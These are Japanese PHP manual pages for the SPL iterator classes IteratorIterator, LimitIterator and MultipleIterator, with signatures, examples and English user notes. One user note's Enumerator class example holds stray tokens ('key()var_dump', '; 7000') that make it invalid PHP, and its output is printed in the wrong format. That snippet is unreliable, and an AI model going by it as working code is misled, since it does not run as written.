public InfiniteIterator::next ( ) : void

次の要素があるときは、イテレータを次の要素に移動します。 要素がないときは、内部イテレータを開始位置に巻き戻します。

注意:

内部イテレータが空の場合は InfiniteIterator も停止します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • InfiniteIterator::__construct() - InfiniteIterator を作成する

User Contributed Notes

There are no user contributed notes for this page.


IteratorIterator クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

このイテレータラッパーを使うと、 Traversable なものなら何でもイテレータに変換することができます。 注意すべきなのは、Iterator を実装していない大半のクラスにはそれなりの理由 (Iterator の機能群を完全には提供できないなど) があるということです。 もしそうならば、誤使用を防ぐような方法を提供すべきです、 でなければ、例外や致命的なエラーが起こり得ます。

クラス概要

IteratorIterator implements OuterIterator {
/* メソッド */
public __construct ( Traversable $iterator )
public current ( ) : mixed
public getInnerIterator ( ) : Traversable
public key ( ) : mixed
public next ( ) : void
public rewind ( ) : void
public valid ( ) : bool
}

注意

注意:

このクラスは、内部のイテレータのメソッドへのアクセスを許可するために、マジックメソッド __call を利用します。

目次

  • IteratorIterator::__construct — traversable な何かからイテレータを作成する
  • IteratorIterator::current — 現在の値を取得する
  • IteratorIterator::getInnerIterator — 内部イテレータを取得する
  • IteratorIterator::key — 現在の要素のキーを取得する
  • IteratorIterator::next — 次の要素に移動する
  • IteratorIterator::rewind — 最初の要素に巻き戻す
  • IteratorIterator::valid — イテレータが有効かどうかを調べる

User Contributed Notes

thomas at gielfeldt dot dk 20-Apr-2017 10:33
IteratorIterator::current() does not invoke the inner iterator's current() method.

The inner iterator's current() method is invoked (and cached) on rewind() and next(). The same goes for key() and valid().

Example:
<?php

$i = new ArrayIterator(range(1,10));
$i = new IteratorIterator($i);
iterator_to_array($i); // Seek to the end
print "Valid: " . $i->valid() . "\n";
$i->append('test');
print "Valid: " . $i->valid() . "\n";
print "Current: " . $i->current() . "\n";

?>

Output:

Valid:
Valid:
Current:

Whereas:
<?php

$i = new ArrayIterator(range(1,10));
iterator_to_array($i); // Seek to the end
print "Valid: " . $i->valid() . "\n";
$i->append('test');
print "Valid: " . $i->valid() . "\n";
print "Current: " . $i->current() . "\n";
?>

Output:

Valid:
Valid: 1
Current: test

The reason being the way current(), key() and valid() are invoked by the IteratorIterator as mentioned above.
max-p at max-p dot me 12-Feb-2016 01:53
Little note for anyone that wants to emulate the behavior of foreach as close as possible in order to work with somewhat picky Traversable objects, without using foreach:

- Before starting the iteration, rewind() is called.
- For every iteration, the following methods are called on the iterator:
    - valid()
    - current()
    - key()
    - next()

Sounds like a silly thing to do put this way, but in my use case I needed to convert a Traversable database result cursor into a procedural-style cursor (hasNext + fetchArray) for backward compatibility, and the driver required every function to be called in the appropriate order.
wallacemaxters at gmail dot lcom 15-Jan-2016 04:46
Another example of the efficiency for IteratorIterator is a small class for enumerate for iterations of an interator implementation.

Example:

<?php

class Enumerator extends IteratorIterator
{
    /**
    * Initial value for enumerator
    * @param int
    */
    protected $start = 0;

    /**
    * @param int
    */
    protected $key = 0;

    /**
    * @param Traversable $iterator
    * @param scalar $start
    */
    public function __construct(Traversable $iterator, $start = 0)
    {
        parent::__construct($iterator);

        $this->start = $start;

        $this->key = $this->start;
    }

    public function key()var_dump
    {
        return $this->key;
    }

    public function next()
    {
        ++$this->key;

        parent::next();
    }

    public function rewind()
    {
        $this->key = $this->start;

        parent::rewind();
    }

}
?>

This produces:

<?php

$enumerator = new Enumerator(
       new ArrayIterator(['php', 'java', 'python']); 7000
);

print_r(iterator_to_array($enumerator));

/*
*    array(3) {
           7000 => 'php',
           7001 => 'java',
           7002 => 'python'
     }
*/

?>
sven at rtbg dot de 15-Apr-2015 08:57
This iterator basically is only a wrapper around another iterator. It does nothing fancy, it simply forwards any calls of rewind(), next(), valid(), current() and key() to the inner iterator. This inner iterator can be fetched with getInnerIterator().

One special case: When passing an IteratorAggregate object, the getIterator() method of that object will be called and THAT iterator will be iterated over, and this will also be returned when calling getInnerIterator().

This class can be extended, so it's an ideal building block for your own classes that only want to modify one or two of the iterator methods, but not all.

Want to trim the strings returned by the current() method?

<?php

class TrimIterator extends IteratorIterator
{
    public function current() {
        return trim(parent::current());
    }
}

$innerIterator = new ArrayIterator(array('normal', ' trimmable '));

$trim = new TrimIterator($innerIterator);

foreach ($trim as $key => $value) {
    echo "Key:\n";
    var_dump($key);
    echo "Value:\n";
    var_dump($value);
    echo "---next---";
}
?>

Output:

Key:
int(0)
Value:
string(6) "normal"
---next---Key:
int(1)
Value:
string(9) "trimmable"
---next---


traversable な何かからイテレータを作成する

  • ≪ IteratorIterator
  • IteratorIterator::current ≫
  • PHP Manual
  • IteratorIterator
  • traversable な何かからイテレータを作成する

IteratorIterator::__construct

(PHP 5 >= 5.1.0, PHP 7)

IteratorIterator::__construct — traversable な何かからイテレータを作成する

説明

public IteratorIterator::__construct ( Traversable $iterator )

traversable な何かからイテレータを作成します。

パラメータ

iterator

traversable なイテレータ。

返り値

値を返しません。

参考

  • Traversable

User Contributed Notes

There are no user contributed notes for this page.


現在の値を取得する

  • ≪ IteratorIterator::__construct
  • IteratorIterator::getInnerIterator ≫
  • PHP Manual
  • IteratorIterator
  • 現在の値を取得する

IteratorIterator::current

(PHP 5 >= 5.1.0, PHP 7)

IteratorIterator::current — 現在の値を取得する

説明

public IteratorIterator::current ( ) : mixed

現在の要素の値を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

現在の要素の値を返します。

参考

  • IteratorIterator::key() - 現在の要素のキーを取得する

User Contributed Notes

There are no user contributed notes for this page.


内部イテレータを取得する

  • ≪ IteratorIterator::current
  • IteratorIterator::key ≫
  • PHP Manual
  • IteratorIterator
  • 内部イテレータを取得する

IteratorIterator::getInnerIterator

(PHP 5 >= 5.1.0, PHP 7)

IteratorIterator::getInnerIterator — 内部イテレータを取得する

説明

public IteratorIterator::getInnerIterator ( ) : Traversable

内部イテレータを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

IteratorIterator::__construct() に渡した内部イテレータを返します。

参考

  • Iterator
  • OuterIterator

User Contributed Notes

c dot 1 at smithies dot org 04-May-2016 08:06
The returned value from getInnerIterator() really is the inner iterator, not a clone. It should be used with respect: calling next() or rewind() on it, for example, will advance or reset the inner iterator - although the effect won't be noticed until you call next() on the IteratorIterator object - it seems as if it caches its current() and key() values (as of PHP v5.5.9). Even if the inner iterator itself is valid (i.e. valid() returns TRUE) the IteratorIterator won't report itself as valid until you either rewind it or call its next() method - these two methods cause the IteratorIterator to re-sync its current, key and valid states with the inner iterator.

<?php
$ii = new IteratorIterator(new ArrayIterator(range(1,6)));
$i1 = $ii->getInnerIterator(); // gets the real thing
$i2 = $ii->getInnerIterator(); // ditto: $i2 === $i1 and the two are therefore in sync.
echo $i1->current(); // 1
echo $i1->key(); // 0
var_dump($ii->valid()); // FALSE
$i1->next(); // affects $i2, which is identical
echo $i1->key(); // 1
var_dump($ii->valid()); // still FALSE
$ii->rewind(); // rewinds $i1 and synchronizes
echo $ii->key(); // 0, as is $i1->key()
$i1->next(); // advances the inner iterator, which is now out of sync
echo $ii->key(); // still 0
echo $i1->key(); // 1
$ii->next(); // advances the inner iterator and syncs with it
echo $ii->key(); // 2
echo $i1->key(); // 2
?>


現在の要素のキーを取得する

  • ≪ IteratorIterator::getInnerIterator
  • IteratorIterator::next ≫
  • PHP Manual
  • IteratorIterator
  • 現在の要素のキーを取得する

IteratorIterator::key

(PHP 5 >= 5.1.0, PHP 7)

IteratorIterator::key — 現在の要素のキーを取得する

説明

public IteratorIterator::key ( ) : mixed

現在の要素のキーを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

現在の要素のキーを返します。

参考

  • IteratorIterator::current() - 現在の値を取得する

User Contributed Notes

There are no user contributed notes for this page.


次の要素に移動する

  • ≪ IteratorIterator::key
  • IteratorIterator::rewind ≫
  • PHP Manual
  • IteratorIterator
  • 次の要素に移動する

IteratorIterator::next

(PHP 5 >= 5.1.0, PHP 7)

IteratorIterator::next — 次の要素に移動する

説明

public IteratorIterator::next ( ) : void

次の要素に移動します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • IteratorIterator::rewind() - 最初の要素に巻き戻す
  • IteratorIterator::valid() - イテレータが有効かどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


最初の要素に巻き戻す

  • ≪ IteratorIterator::next
  • IteratorIterator::valid ≫
  • PHP Manual
  • IteratorIterator
  • 最初の要素に巻き戻す

IteratorIterator::rewind

(PHP 5 >= 5.1.0, PHP 7)

IteratorIterator::rewind — 最初の要素に巻き戻す

説明

public IteratorIterator::rewind ( ) : void

最初の要素に巻き戻します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • IteratorIterator::next() - 次の要素に移動する
  • IteratorIterator::valid() - イテレータが有効かどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


イテレータが有効かどうかを調べる

  • ≪ IteratorIterator::rewind
  • LimitIterator ≫
  • PHP Manual
  • IteratorIterator
  • イテレータが有効かどうかを調べる

IteratorIterator::valid

(PHP 5 >= 5.1.0, PHP 7)

IteratorIterator::valid — イテレータが有効かどうかを調べる

説明

public IteratorIterator::valid ( ) : bool

イテレータが有効かどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

イテレータが有効な場合に true、それ以外の場合に false を返します。

参考

  • iterator_count() - イテレータにある要素をカウントする
  • IteratorIterator::current() - 現在の値を取得する

User Contributed Notes

mike at eastghost dot com 18-Jan-2018 03:24
An Iterator is "valid" when it has additional elements, beyond its element index.

Said another way: After an Iterator is next()'d to its final element, the Iterator is no longer "valid".

Said another way: A "hasNext" check would simply return ::valid()


LimitIterator クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

LimitIterator クラスは、ある Iterator 上の限られたサブセットに対する反復処理を行います。

クラス概要

LimitIterator extends IteratorIterator implements OuterIterator {
/* メソッド */
public __construct ( Iterator $iterator , int $offset = 0 , int $limit = -1 )
public current ( ) : mixed
public getInnerIterator ( ) : Iterator
public getPosition ( ) : int
public key ( ) : mixed
public next ( ) : void
public rewind ( ) : void
public seek ( int $position ) : int
public valid ( ) : bool
}

例

例1 LimitIterator の使用例

<?php

// 限定した処理を行うイテレータを作成します
$fruits = new ArrayIterator(array(
    'apple',
    'banana',
    'cherry',
    'damson',
    'elderberry'
));

// 最初の三つの果物だけをループ対象とします
foreach (new LimitIterator($fruits, 0, 3) as $fruit) {
    var_dump($fruit);
}

echo "\n";

// 三番目の果物から最後までをループ対象とします
// 注意: オフセットは 0 から始まり、0 は apple です
foreach (new LimitIterator($fruits, 2) as $fruit) {
    var_dump($fruit);
}

?>

上の例の出力は以下となります。

string(5) "apple"
string(6) "banana"
string(6) "cherry"

string(6) "cherry"
string(6) "damson"
string(10) "elderberry"

目次

  • LimitIterator::__construct — LimitIterator を作成する
  • LimitIterator::current — 現在の要素を取得する
  • LimitIterator::getInnerIterator — 内部イテレータを取得する
  • LimitIterator::getPosition — 現在の位置を返す
  • LimitIterator::key — 現在のキーを取得する
  • LimitIterator::next — イテレータを前に移動する
  • LimitIterator::rewind — イテレータを指定した開始オフセットに巻き戻す
  • LimitIterator::seek — 与えられた位置に移動する
  • LimitIterator::valid — 現在の要素が有効かどうかをチェックする

User Contributed Notes

There are no user contributed notes for this page.


LimitIterator を作成する

  • ≪ LimitIterator
  • LimitIterator::current ≫
  • PHP Manual
  • LimitIterator
  • LimitIterator を作成する

LimitIterator::__construct

(PHP 5 >= 5.1.0, PHP 7)

LimitIterator::__construct — LimitIterator を作成する

説明

public LimitIterator::__construct ( Iterator $iterator , int $offset = 0 , int $limit = -1 )

開始位置 offset と最大数 limit を指定したイテレータ iterator から 新しい LimitIterator を作成します。

パラメータ

iterator

制限したいイテレータ。

offset

オプションの開始位置。

limit

オプションの要素数。

返り値

新しい LimitIterator を返します。

エラー / 例外

offset が 0 未満、 あるいは limit が -1 未満の場合に OutOfRangeException をスローします。

例

例1 LimitIterator::__construct() の例

<?php
$ait = new ArrayIterator(array('a', 'b', 'c', 'd', 'e'));
$lit = new LimitIterator($ait, 1, 3);
foreach ($lit as $value) {
    echo $value . "\n";
}
?>

上の例の出力は以下となります。

b
c
d

参考

  • LimitIterator の例

User Contributed Notes

There are no user contributed notes for this page.


現在の要素を取得する

  • ≪ LimitIterator::__construct
  • LimitIterator::getInnerIterator ≫
  • PHP Manual
  • LimitIterator
  • 現在の要素を取得する

LimitIterator::current

(PHP 5 >= 5.1.0, PHP 7)

LimitIterator::current — 現在の要素を取得する

説明

public LimitIterator::current ( ) : mixed

内部イテレータの現在の要素を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

現在の要素、あるいは現在の要素がない場合は null を返します。

参考

  • LimitIterator::key() - 現在のキーを取得する
  • LimitIterator::next() - イテレータを前に移動する
  • LimitIterator::rewind() - イテレータを指定した開始オフセットに巻き戻す
  • LimitIterator::seek() - 与えられた位置に移動する
  • LimitIterator::valid() - 現在の要素が有効かどうかをチェックする

User Contributed Notes

There are no user contributed notes for this page.


内部イテレータを取得する

  • ≪ LimitIterator::current
  • LimitIterator::getPosition ≫
  • PHP Manual
  • LimitIterator
  • 内部イテレータを取得する

LimitIterator::getInnerIterator

(PHP 5 >= 5.1.0, PHP 7)

LimitIterator::getInnerIterator — 内部イテレータを取得する

説明

public LimitIterator::getInnerIterator ( ) : Iterator

内部イテレータを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

LimitIterator::__construct() に渡された内部イテレータを返します。

参考

  • LimitIterator::__construct() - LimitIterator を作成する
  • IteratorIterator::getInnerIterator() - 内部イテレータを取得する

User Contributed Notes

There are no user contributed notes for this page.


現在の位置を返す

  • ≪ LimitIterator::getInnerIterator
  • LimitIterator::key ≫
  • PHP Manual
  • LimitIterator
  • 現在の位置を返す

LimitIterator::getPosition

(PHP 5 >= 5.1.0, PHP 7)

LimitIterator::getPosition — 現在の位置を返す

説明

public LimitIterator::getPosition ( ) : int

内部 Iterator の、ゼロから数えた現在位置を返します。

パラメータ

この関数にはパラメータはありません。

返り値

現在の位置を返します。

例

例1 LimitIterator::getPosition() の例

<?php
$fruits = array(
    'a' => 'apple',
    'b' => 'banana',
    'c' => 'cherry',
    'd' => 'damson',
    'e' => 'elderberry'
);
$array_it = new ArrayIterator($fruits);
$limit_it = new LimitIterator($array_it, 2, 3);
foreach ($limit_it as $item) {
    echo $limit_it->getPosition() . ' ' . $item . "\n";
}
?>

上の例の出力は以下となります。

2 cherry
3 damson
4 elderberry

参考

  • FilterIterator::key() - 現在のキーを取得する

User Contributed Notes

There are no user contributed notes for this page.


現在のキーを取得する

  • ≪ LimitIterator::getPosition
  • LimitIterator::next ≫
  • PHP Manual
  • LimitIterator
  • 現在のキーを取得する

LimitIterator::key

(PHP 5 >= 5.1.0, PHP 7)

LimitIterator::key — 現在のキーを取得する

説明

public LimitIterator::key ( ) : mixed

内部イテレータの現在の要素のキーを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

現在の要素のキーを返します。

参考

  • LimitIterator::getPosition() - 現在の位置を返す
  • LimitIterator::current() - 現在の要素を取得する
  • LimitIterator::next() - イテレータを前に移動する
  • LimitIterator::rewind() - イテレータを指定した開始オフセットに巻き戻す
  • LimitIterator::seek() - 与えられた位置に移動する
  • LimitIterator::valid() - 現在の要素が有効かどうかをチェックする

User Contributed Notes

There are no user contributed notes for this page.


イテレータを前に移動する

  • ≪ LimitIterator::key
  • LimitIterator::rewind ≫
  • PHP Manual
  • LimitIterator
  • イテレータを前に移動する

LimitIterator::next

(PHP 5 >= 5.1.0, PHP 7)

LimitIterator::next — イテレータを前に移動する

説明

public LimitIterator::next ( ) : void

イテレータを前に移動します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • LimitIterator::current() - 現在の要素を取得する
  • LimitIterator::key() - 現在のキーを取得する
  • LimitIterator::rewind() - イテレータを指定した開始オフセットに巻き戻す
  • LimitIterator::seek() - 与えられた位置に移動する
  • LimitIterator::valid() - 現在の要素が有効かどうかをチェックする

User Contributed Notes

There are no user contributed notes for this page.


イテレータを指定した開始オフセットに巻き戻す

  • ≪ LimitIterator::next
  • LimitIterator::seek ≫
  • PHP Manual
  • LimitIterator
  • イテレータを指定した開始オフセットに巻き戻す

LimitIterator::rewind

(PHP 5 >= 5.1.0, PHP 7)

LimitIterator::rewind — イテレータを指定した開始オフセットに巻き戻す

説明

public LimitIterator::rewind ( ) : void

イテレータを、LimitIterator::__construct() で指定した開始オフセットに巻き戻します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • LimitIterator::current() - 現在の要素を取得する
  • LimitIterator::key() - 現在のキーを取得する
  • LimitIterator::next() - イテレータを前に移動する
  • LimitIterator::seek() - 与えられた位置に移動する
  • LimitIterator::valid() - 現在の要素が有効かどうかをチェックする

User Contributed Notes

There are no user contributed notes for this page.


与えられた位置に移動する

  • ≪ LimitIterator::rewind
  • LimitIterator::valid ≫
  • PHP Manual
  • LimitIterator
  • 与えられた位置に移動する

LimitIterator::seek

(PHP 5 >= 5.1.0, PHP 7)

LimitIterator::seek — 与えられた位置に移動する

説明

public LimitIterator::seek ( int $position ) : int

イテレータを、position で指定したオフセットに移動します。

パラメータ

position

移動したい位置。

返り値

移動後のオフセット位置を返します。

エラー / 例外

LimitIterator::__construct() で指定した範囲外の位置を指定した場合は OutOfBoundsException をスローします。

参考

  • LimitIterator::current() - 現在の要素を取得する
  • LimitIterator::key() - 現在のキーを取得する
  • LimitIterator::rewind() - イテレータを指定した開始オフセットに巻き戻す
  • LimitIterator::next() - イテレータを前に移動する
  • LimitIterator::valid() - 現在の要素が有効かどうかをチェックする

User Contributed Notes

There are no user contributed notes for this page.


現在の要素が有効かどうかをチェックする

  • ≪ LimitIterator::seek
  • MultipleIterator ≫
  • PHP Manual
  • LimitIterator
  • 現在の要素が有効かどうかをチェックする

LimitIterator::valid

(PHP 5 >= 5.1.0, PHP 7)

LimitIterator::valid — 現在の要素が有効かどうかをチェックする

説明

public LimitIterator::valid ( ) : bool

現在の要素が有効かどうかをチェックします。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • LimitIterator::current() - 現在の要素を取得する
  • LimitIterator::key() - 現在のキーを取得する
  • LimitIterator::rewind() - イテレータを指定した開始オフセットに巻き戻す
  • LimitIterator::next() - イテレータを前に移動する
  • LimitIterator::seek() - 与えられた位置に移動する

User Contributed Notes

There are no user contributed notes for this page.


MultipleIterator クラス

(PHP 5 >= 5.3.0, PHP 7)

はじめに

アタッチしたすべてのイテレータを順に処理するイテレータです。

クラス概要

MultipleIterator implements Iterator {
/* 定数 */
const int MIT_NEED_ANY = 0 ;
const int MIT_NEED_ALL = 1 ;
const int MIT_KEYS_NUMERIC = 0 ;
const int MIT_KEYS_ASSOC = 2 ;
/* メソッド */
public __construct ( int $flags = MultipleIterator::MIT_NEED_ALL|MultipleIterator::MIT_KEYS_NUMERIC )
public attachIterator ( Iterator $iterator , string $infos = ? ) : void
public containsIterator ( Iterator $iterator ) : bool
public countIterators ( ) : int
public current ( ) : array
public detachIterator ( Iterator $iterator ) : void
public getFlags ( ) : int
public key ( ) : array
public next ( ) : void
public rewind ( ) : void
public setFlags ( int $flags ) : void
public valid ( ) : bool
}

定義済み定数

MultipleIterator::MIT_NEED_ANY

すべてのサブイテレータが処理可能であることを必要としません。

MultipleIterator::MIT_NEED_ALL

すべてのサブイテレータが正しく反復処理できることを要求します。

MultipleIterator::MIT_KEYS_NUMERIC

キーは、サブイテレータの位置から作成されます。

MultipleIterator::MIT_KEYS_ASSOC

キーは、サブイテレータに関連付けられた情報から作成されます。

目次

  • MultipleIterator::attachIterator — イテレータの情報をアタッチする
  • MultipleIterator::__construct — 新しい MultipleIterator を作成する
  • MultipleIterator::containsIterator — イテレータがアタッチされているかどうかを調べる
  • MultipleIterator::countIterators — アタッチされているイテレータインスタンスの数を取得する
  • MultipleIterator::current — 登録されているイテレータインスタンスを取得する
  • MultipleIterator::detachIterator — イテレータをデタッチする
  • MultipleIterator::getFlags — フラグの情報を取得する
  • MultipleIterator::key — 登録されているイテレータインスタンスを取得する
  • MultipleIterator::next — アタッチしているすべてのイテレータインスタンスを次に移動させる
  • MultipleIterator::rewind — アタッチしているすべてのイテレータインスタンスを巻き戻す
  • MultipleIterator::setFlags — フラグを設定する
  • MultipleIterator::valid — サブイテレータの有効性を調べる

User Contributed Notes

sven at rtbg dot de 15-Apr-2015 01:34
This iterator has a misleading name and description - it actually acts as a parallel iterator: You attach one or more iterators with a key, integer or NULL, and when you iterate over the MultipleIterator, as the result for current() you get ALL results from all attached iterators as an array (under the key or integer you attached it with), and the same is true for the key() call.

valid() will be valid if any or all iterators are valid, depending on the setting of the $flags - with ANY, you can iterate over a set of iterators with some of them ending before others, and get NULL results from these iterators until the last iterator is at it's end. With ALL, iteration stops when the first iterator stops delivering results.

next() and rewind() will be called on all attached iterators in every case.

<?php

$it1 = new ArrayIterator(array(1,2,3));
$it2 = new ArrayIterator(array(4,5,6));

$multipleIterator = new MultipleIterator(MultipleIterator::MIT_NEED_ALL|MultipleIterator::MIT_KEYS_ASSOC);

$multipleIterator->attachIterator($it1, 1);
$multipleIterator->attachIterator($it2, 'second');

foreach ($multipleIterator as $key => $value) {
    echo "Key\n"; var_dump($key);
    echo "Value\n"; var_dump($value);
    echo "---next---\n";
}
?>

Result with PHP 5.5.0 and up:

Key
array(2) {
  [1]=>
  int(0)
  ["second"]=>
  int(0)
}
Value
array(2) {
  [1]=>
  int(1)
  ["second"]=>
  int(4)
}
---next---
Key
array(2) {
  [1]=>
  int(1)
  ["second"]=>
  int(1)
}
Value
array(2) {
  [1]=>
  int(2)
  ["second"]=>
  int(5)
}
---next---
Key
array(2) {
  [1]=>
  int(2)
  ["second"]=>
  int(2)
}
Value
array(2) {
  [1]=>
  int(3)
  ["second"]=>
  int(6)
}
---next---

Note that PHP 5.4 and 5.3 do not support accessing the key() values in foreach loops because they expect them to not be an array - doing so will cause "Warning: Illegal type returned from MultipleIterator::key()" and the result of (int)0 as the key for all iterations.

Without the MultipleIterator::MIT_KEYS_ASSOC flag, the MultipleIterator will create numeric indices based on the order of attachment.


イテレータの情報をアタッチする

  • ≪ MultipleIterator
  • MultipleIterator::__construct ≫
  • PHP Manual
  • MultipleIterator
  • イテレータの情報をアタッチする

MultipleIterator::attachIterator

(PHP 5 >= 5.3.0, PHP 7)

MultipleIterator::attachIterator — イテレータの情報をアタッチする

説明

public MultipleIterator::attachIterator ( Iterator $iterator , string $infos = ? ) : void

イテレータの情報をアタッチします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

iterator

アタッチする新しいイテレータ。

infos

イテレータに関連する情報。 int、string あるいは null でなければなりません。

返り値

エラー / 例外

iterator が無効な場合、 あるいは infos がすでに関連づけられた情報である場合に IllegalValueException をスローします。

参考

  • MultipleIterator::__construct() - 新しい MultipleIterator を作成する

User Contributed Notes

DDT 12-Jan-2013 02:38
If you have multiple file upload fields named "files[]"...

<?php
if (isset($_FILES["files"])) {
   $uploads = new MultipleIterator(MultipleIterator::MIT_KEYS_ASSOC);
   $uploads->attachIterator(new ArrayIterator((array) $_FILES["files"]["name"]), "name");
   $uploads->attachIterator(new ArrayIterator((array) $_FILES["files"]["size"]), "size");
   $uploads->attachIterator(new ArrayIterator((array) $_FILES["files"]["type"]), "type");
   $uploads->attachIterator(new ArrayIterator((array) $_FILES["files"]["tmp_name"]), "tmp_name");
   $uploads->attachIterator(new ArrayIterator((array) $_FILES["files"]["error"]), "error");

   foreach ($uploads as $file) {
      echo htmlspecialchars($file["name"]) . " = {$file["size"]} bytes<br/>";
   }
}
?>
andresdzphp at php dot net 27-Sep-2011 11:14
<?php
$ait_id = new ArrayIterator(array('c1001', 'c1002', 'c1003'));
$ait_name = new ArrayIterator(array('apple', 'orange', 'banana'));
$ait_units = new ArrayIterator(array(756, 996, 2345));

$mit = new MultipleIterator(MultipleIterator::MIT_KEYS_ASSOC);
$mit->attachIterator($ait_id, "ID");
$mit->attachIterator($ait_name, "NAME");
$mit->attachIterator($ait_units, "UNITS");

echo $mit->countIterators() . "\n"; //3

if ($mit->containsIterator($ait_id)) { //true
    echo "ait_id iterator attached \n";
}

foreach ($mit as $fruit) {
    echo "<pre>";
    print_r($fruit);
    echo "</pre>";
}
?>

Result:

3
ait_id iterator attached

Array
(
    [ID] => c1001
    [NAME] => apple
    [UNITS] => 756
)
Array
(
    [ID] => c1002
    [NAME] => orange
    [UNITS] => 996
)
Array
(
    [ID] => c1003
    [NAME] => banana
    [UNITS] => 2345
)


新しい MultipleIterator を作成する

  • ≪ MultipleIterator::attachIterator
  • MultipleIterator::containsIterator ≫
  • PHP Manual
  • MultipleIterator
  • 新しい MultipleIterator を作成する

MultipleIterator::__construct

(PHP 5 >= 5.3.0, PHP 7)

MultipleIterator::__construct — 新しい MultipleIterator を作成する

説明

public MultipleIterator::__construct ( int $flags = MultipleIterator::MIT_NEED_ALL|MultipleIterator::MIT_KEYS_NUMERIC )

新しい MultipleIterator を作成します。

パラメータ

flags

設定するフラグ。 フラグ定数 を参照ください。

  • MultipleIterator::MIT_NEED_ALL あるいは MultipleIterator::MIT_NEED_ANY
  • MultipleIterator::MIT_KEYS_NUMERIC あるいは MultipleIterator::MIT_KEYS_ASSOC

デフォルトは MultipleIterator::MIT_NEED_ALL|MultipleIterator::MIT_KEYS_NUMERIC です。

返り値

値を返しません。

例

例1 MultipleIterator の反復処理

<?php
$people = new ArrayIterator(array('John', 'Jane', 'Jack', 'Judy'));
$roles  = new ArrayIterator(array('Developer', 'Scrum Master', 'Project Owner'));

$team = new MultipleIterator($flags);
$team->attachIterator($people, 'person');
$team->attachIterator($roles, 'role');

foreach ($team as $member) {
    print_r($member);
}
?>

$flags = MIT_NEED_ALL|MIT_KEYS_NUMERIC の場合の出力

Array
(
    [0] => John
    [1] => Developer
)
Array
(
    [0] => Jane
    [1] => Scrum Master
)
Array
(
    [0] => Jack
    [1] => Project Owner
)

$flags = MIT_NEED_ANY|MIT_KEYS_NUMERIC の場合の出力

Array
(
    [0] => John
    [1] => Developer
)
Array
(
    [0] => Jane
    [1] => Scrum Master
)
Array
(
    [0] => Jack
    [1] => Project Owner
)
Array
(
    [0] => Judy
    [1] =>
)

$flags = MIT_NEED_ALL|MIT_KEYS_ASSOC の場合の出力

Array
(
    [person] => John
    [role] => Developer
)
Array
(
    [person] => Jane
    [role] => Scrum Master
)
Array
(
    [person] => Jack
    [role] => Project Owner
)

$flags = MIT_NEED_ANY|MIT_KEYS_ASSOC の場合の出力

Array
(
    [person] => John
    [role] => Developer
)
Array
(
    [person] => Jane
    [role] => Scrum Master
)
Array
(
    [person] => Jack
    [role] => Project Owner
)
Array
(
    [person] => Judy
    [role] =>
)

参考

  • フラグ定数
  • MultipleIterator::valid() - サブイテレータの有効性を調べる

User Contributed Notes

There are no user contributed notes for this page.


イテレータがアタッチされているかどうかを調べる

  • ≪ MultipleIterator::__construct
  • MultipleIterator::countIterators ≫
  • PHP Manual
  • MultipleIterator
  • イテレータがアタッチされているかどうかを調べる

MultipleIterator::containsIterator

(PHP 5 >= 5.3.0, PHP 7)

MultipleIterator::containsIterator — イテレータがアタッチされているかどうかを調べる

説明

public MultipleIterator::containsIterator ( Iterator $iterator ) : bool

イテレータがアタッチされているかどうかを調べます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

iterator

調べたいイタレータ。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • MultipleIterator::valid() - サブイテレータの有効性を調べる

User Contributed Notes

There are no user contributed notes for this page.


アタッチされているイテレータインスタンスの数を取得する

  • ≪ MultipleIterator::containsIterator
  • MultipleIterator::current ≫
  • PHP Manual
  • MultipleIterator
  • アタッチされているイテレータインスタンスの数を取得する

MultipleIterator::countIterators

(PHP 5 >= 5.3.0, PHP 7)

MultipleIterator::countIterators — アタッチされているイテレータインスタンスの数を取得する

説明

public MultipleIterator::countIterators ( ) : int

アタッチされているイテレータインスタンスの数を取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

アタッチされているイテレータインスタンスの数を (int で) 返します

参考

  • MultipleIterator::containsIterator() - イテレータがアタッチされているかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


登録されているイテレータインスタンスを取得する

  • ≪ MultipleIterator::countIterators
  • MultipleIterator::detachIterator ≫
  • PHP Manual
  • MultipleIterator
  • 登録されているイテレータインスタンスを取得する

MultipleIterator::current

(PHP 5 >= 5.3.0, PHP 7)

MultipleIterator::current — 登録されているイテレータインスタンスを取得する

説明

public MultipleIterator::current ( ) : array

登録されているイテレータインスタンスの current() の結果を取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

アタッチされている各イテレータの現在の値を含む配列を返します。 イテレータがアタッチされていない場合は false を返します。

エラー / 例外

モード MIT_NEED_ALL が設定されているときは、 アタッチされているイテレータの中にひとつでも無効なものがあれば RuntimeException が発生します。また、 キーが null で MIT_KEYS_ASSOC が設定されている場合には IllegalValueException が発生します。

参考

  • MultipleIterator::valid() - サブイテレータの有効性を調べる

User Contributed Notes

There are no user contributed notes for this page.


イテレータをデタッチする

  • ≪ MultipleIterator::current
  • MultipleIterator::getFlags ≫
  • PHP Manual
  • MultipleIterator
  • イテレータをデタッチする

MultipleIterator::detachIterator

(PHP 5 >= 5.3.0, PHP 7)

MultipleIterator::detachIterator — イテレータをデタッチする

説明

public MultipleIterator::detachIterator ( Iterator $iterator ) : void

